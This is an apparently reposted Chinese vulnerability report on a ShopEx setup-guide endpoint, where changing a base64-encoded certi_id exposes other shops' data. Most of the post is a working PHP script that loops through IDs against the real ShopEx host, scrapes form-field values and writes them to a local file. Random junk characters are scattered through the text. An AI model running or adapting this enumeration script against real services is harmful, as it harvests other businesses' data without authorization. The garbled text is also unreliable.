ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
) A8 `- H; W, c# H/ r2 pShopEx某接口缺陷,可遍历所有网站
详细说明：
5 v( `2 r$ G. _问题出现在shopex 网店使用向导页面



6 a$ }! S$ U% v1 w. j0 lhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
) j+ T( M2 L# w6 V4 X4 o
9 f! X) N' i# x

) A1 d. b, {5 @7 G8 Z1 _, Z, N我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

- g( Z0 j. Z; Z; w

. o! q6 z) b. T6 [0 K1 |<?php
! z0 G! ?; j& q
4 N5 R7 n/ F% I0 P: R                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);
& K' n: g1 z2 f
                }
% C! g" b- o9 ?- P
                function ShowshopExD($cid) {
7 `3 Z$ u' W0 y
8 Z4 K5 w! Q* U$ e* \                $url='http://guide.ecos.shopex.cn/step2.php';

6 M! f( T- E( w! ^# \, y                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

6 f: B7 j6 w: U( T( w) w        $url = $url.'?refer='.$refer;
) \% T$ Y6 u2 C1 E  W# I
/ ?3 Z5 m2 J( S% c        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
7 N# ?7 G! y$ X" l2 }. U" R
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
% E5 Y' o) y* e9 ^; P, o; u
8 b) y% g. l; h  a& w' p/ r        $result = curl_exec($ch);
0 W9 _9 r' u9 H$ b) \/ L: F1 g
# r# s/ E7 L, w        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
0 h& ^" F& Z9 k: v, \
3 }# J" D; ~$ Q! r* v        if(strpos($result,$refer))
& C3 n0 h6 y& [8 C7 _
        {
9 z* U% H$ ^: n/ _+ a4 E; n+ Y
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
5 w' R" C* e6 y$ t$ B0 `3 u
  d0 V) U! A$ [  k4 H' f                foreach ($value[1] as $key) {
8 Z$ G) y: N! ]& ^7 f- n
! Q/ k( @8 T2 e! Z4 N* N                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

& }4 k& e& |+ q3 Z) f' j; ]; O                        echo $res[1][0].':'.$res[3][0]."\r\n";
7 S; u! X9 Y, c# F) H( E0 N5 y
* l" n8 R, P5 S, o, e                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
1 g, ]# k8 X+ S3 h7 y, b
                }
* a/ j4 w2 e1 U5 Z
                echo '--------------------------------'."\r\n";
" m$ k1 K" F1 n" h
' U& Q" H3 V6 T2 ]* ^8 B& R8 ]9 O                fclose($fp);

        }

        flush();

% R1 o  R; v) g3 x$ v7 C        curl_close($ch);

2 F8 x2 E  {3 m7 \  i4 C# R                }

?>
* z5 \7 A% b* q" x3 y5 n, S漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式